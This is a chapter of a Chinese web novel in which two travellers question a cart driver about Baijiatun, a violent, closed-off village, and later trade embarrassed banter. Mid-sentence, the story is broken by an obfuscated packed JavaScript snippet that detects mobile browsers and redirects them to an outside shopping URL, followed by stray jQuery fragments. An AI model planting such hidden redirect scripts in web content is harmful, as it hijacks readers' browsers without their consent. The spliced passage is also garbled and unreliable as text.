14. 鲜血染溪流 第14节

作品:《卿说,她在横店当道具坟

    第14节鲜血染溪流


    江檐生本就不是健谈的人。尽管他的机辩能力很强。被车夫这样一说,更是半点兴趣都提不上来。


    卿陶陶也没指望他这非常有个性的小书生能附和。只是随口一提议。等不到答案,便不再继续,然后找了话头和车夫侃侃而谈起来。


    “叔,那百家屯是个什么情况的村子?听你说起来,好像那里不怎么样呀。”


    “百家屯啊……那可真不是个什么好地方。原本那里只是块荒地,陡坡。什么泥潭,垃圾,枯枝败叶堆积成山。后来有些逃荒的人过来,各个村落都不想接纳。他们便自己寻了那一处落脚。大伙一合计,那样也不错,离村落远远的,井水不犯河水。而且逃荒的人全聚集在一块儿的话,也方便管理。便默许了。可是没想到,奔着那里去的人会越来越多,最后竟逐渐形成了一个新的村子。”


    车夫顿了顿,叹然道:“这些年,虽说不再打仗了。但老天爷不开眼呐,北方的干旱,南方的洪涝,还有虫灾轮番席卷。各处的光景都不怎么好。四下出来求存活的人反而更多了起来。人一多,就杂乱。我们好歹还都一个姓氏,乡里乡亲的,不看僧面看佛面。总归不会出多大的事情。但百家屯不一样。”


    “怎么不一样?”


    因着卿陶陶将他想问的都问了出来,江檐生便不动声色的只是认真听着。


    车夫没有立即回答,像是心有余悸,好一会儿,才压了压声音,似是怕人听见般,小声说道:“这么说吧,那里边的人,简直无法无天。”


    “什么?”卿陶陶听不太清,侧着身子,两手撑着木板,努力往车夫前方靠。


    江檐生见状,伸手将她拦了下来。


    卿陶陶听的正兴起,也没多顾忌其他,扯着嗓门大声问,“能说大声点吗?听不见。”


    车夫是个谨慎的人,好像回味过来,觉得自己多嘴了些。再被问,便开始打哈哈,不再愿意进一步详谈。


    卿陶陶埋怨的瞪了江檐生一眼,觉得都是他,不然还能一气呵成问到底的。


    江檐生无辜背锅。


    他们这边将心歇下,怎料车夫反而有了心思。他转过头,貌似随意的问:“我看后生也是读书人,你们怎么会想到去那里?”


    卿陶陶一听,觉得有戏,目光炯炯的盯着江檐生,大有让他挽回局面的意思。


    江檐生也正有此意。


    从车夫的话里,不难听出他对百家屯的熟悉。若是在去之前,能提前了解个一二,之后行事起来,才能更加的事半功倍。


    江檐生稍加思索,便回答:“我们是到那边找人的。不知大叔可有什么能提点一二的地方?”


    不知道是因为自上车后一直不怎么说话的江檐生亲自开了口,还是读书人都来自己这里讨教的原因。


    车夫听了江檐生的问话后,不但没有遮遮掩掩,反而很认真的给出了一番良言忠告。


    “后生,那村子里究竟什么情况,我也不知道。但有一桩事情,可以说出来给你们参考一下。”


    江檐生和卿陶陶听了,没想到他们即将面对的地方,是那么的让人避之不及,也是面面相觑。


    据车夫所说,那百家屯就如其名字一样,里面居住的人不说上百家,二三十种不同姓氏的还是有。逃过荒的人,不论男女,没有什么善类。善类也都活不下来的。可是大家要生活在一处,总要有个维持秩序的领头人。


    常规的村子,都是村民自发选出,或是官府委派,世袭下来。


    百家屯情况特殊。


    他们是内部争斗出来,胜者为王。


    车夫心有余悸的回忆,那条百家屯直通外界的小溪,时不时就会染满鲜血。


    初时最厉害的时候,路过那村路的外围,都经常能看到残肢碎体。有男的,也有女的;老的,少的,也是不缺。就连那一段时间,林子里夜枭的叫声都是销声匿迹了的。


    反反复复好几年,也就最近,情况才好上些。


    当然,也不算是彻底安生下来。


    但那鲜血染溪流的场景也就一年,或是更长时间才有了。


    饶是如此,周边的村户还是纷纷敬而远之。


    “他们里面的人从不出来吗?”卿陶陶好奇。


    “出啊,只能说很少。”车夫笑了笑,“要不我怎么敢将你们带了过去?还不是我曾做了他们的生意。给他们拉些野味去镇上售卖,换点他们所需的日常用品。在他们那里混了个脸熟。但村子里,我还是没敢进去过。那里面现在到底还剩多少人,都是些什么人,可不好说。”


    江檐生突然想到王小五传来的,那个同名的吴大鹏的女儿即将出嫁的消息,一时有些疑虑。


    照车夫的话来说,百家屯是较为独立封闭的存在,且崇尚强者。吴大鹏多年未曾回家,但其女儿有了婚讯,居然连一客栈小二都能知晓。那在百家屯里肯定也不会是默默无闻之辈。作为一个常年没有男子撑起的家庭,那身为母亲的林氏,应该得有多强悍,才能在一众强者中脱颖而出?


    江檐生回忆吴大鹏的样子,普通的不能再普通了。他完全想象不出他的妻子会是有多特别。


    心中不是没有怀疑,会不会又找错人了啊。如果又找错了,岂不是真的要开始大海里掏针?那这找人的时间延长……


    江檐生也说不清楚是希望百家屯的就是那个吴大鹏,还是别的……


    “大叔,那你知道他们那里最近是不是要办喜事?”


    喜事的话,车夫还真的帮着拉过一次婚仪物品。他曾多嘴问了一下。往常几乎是行一路,来回都说不上十句话的采买人,反常的给说了个清楚。是他们村第二十三任村长的儿子要成亲了。


    “第二十三任?百家屯成立没几年吧?”卿陶陶记得车夫说也就是这几年的事情。


    “是啊。都第二十三任了。”车夫也有些戚戚的说。


    卿陶陶愕然,这是要卷出天际呢。


    江檐生越听越觉得不对劲,不由狐疑的看向卿陶陶。他可是记得她信誓旦旦的,说那碑文显示吴大鹏是溪口镇人。


    既是溪口镇的人,怎么他的妻女会搅合到百家屯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182170|196850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中去?好好的镇上不能呆?反而去了偏远的乡下?这中间是出了什么变故,还是根本卿陶陶的信息有误?


    后来卿陶陶再问东问西,车夫嘴里也没什么新的讯息提供。甚至在卿陶陶说出了吴大鹏的名字后,车夫还是浑然不知的样子。


    卿陶陶终于消停了下来。


    她一闭嘴,山河都好似寂静。


    江檐生一度没适应过来。


    嘴是停下了,卿陶陶却开始了左扭右扭,扭个不停。


    “你这是干什么?”江檐生实在看不下去,忍不住问。


    卿陶陶满脸愁容,很是无辜的看着他,那欲说还说的表情,让江檐生汗毛直竖,“不方便就别……”一个‘说’字还没出口。


    卿陶陶已经大大咧咧说了出来:“我屁股好疼。”


    江檐生就知道,她的嘴里没什么好话。那两个字,是能够直接说出来的吗?是应该说的吗?且不说她一姑娘家家,就是乡下妇人,稍微懂点礼义廉耻的,也不敢大庭广众之下宣泄于口。简直是不通教化!


    卿陶陶完全没意识到错误,还给补了一句:“你屁股不疼吗?”


    “屁股!屁股!……”有辱斯文的字眼,一直回荡在江檐生耳畔,让他感觉到整个世界都快要崩溃了。


    偏前面的车夫,半点没有偷听到需要回避的自觉性,“哈哈哈哈……”大笑起来。


    江檐生看着卿陶陶眉眼皱在一处,撇着嘴角,憨憨娇娇的还侧了身子想要用手去揉,以缓解不适。瞬间脑子一懵,直接上手制止。


    感觉到手上一股干燥的暖意,卿陶陶好奇地将目光从江檐生覆盖在自己的手上,挪到他的脸上,如愿看见了花火绽放的弥漫。一层盖过一层的,一层比一层绚烂。


    “那个,你脸红了!白里透红!”卿陶陶一刀不够,还补刀。


    江檐生恼羞成怒的瞪着她,气势半点没有,反而平添几分娇羞。


    幸好车夫的声音传了过来,“这板车是这样的,小娘子若是不习惯了,可让你家相公往角落处寻一下,那儿有一块遮雨的油布,不嫌弃的话,垫一垫,能好上一些。或者干脆躺下,也能舒坦不少。二位放心,这段路,平日里就没什么人,大家都知道我一般是午时才回村的。像你们这样凑巧碰上来的,很不容易。不会有人看见。”


    江檐生在车夫的建议中,一本正经的不经意收回自己的手,脑子里屏蔽那滑嫩娇小的触感,自然的取下身上背着的水囊,递给卿陶陶,“说了那么多话,喝点吧,润一润。”


    卿陶陶没有客气,接过来,咕噜咕噜灌了好几大口。


    然后也没拧上盖,直接递给江檐生,“你也喝。”


    浑浑沌沌的江檐生接过,也灌了好几口。


    喝完,再递回给卿陶陶的时候,她却没有接。“你自己盖一下,我要弄个舒服点的位置。”


    只见到面前伸过来一只纤细如玉的柔夷,三指捏了一个木塞,指甲粉嫩,还泛着莹润的柔光。


    江檐生如木头人一般,机械的接过木塞,收回水囊,不紧不慢的拧好。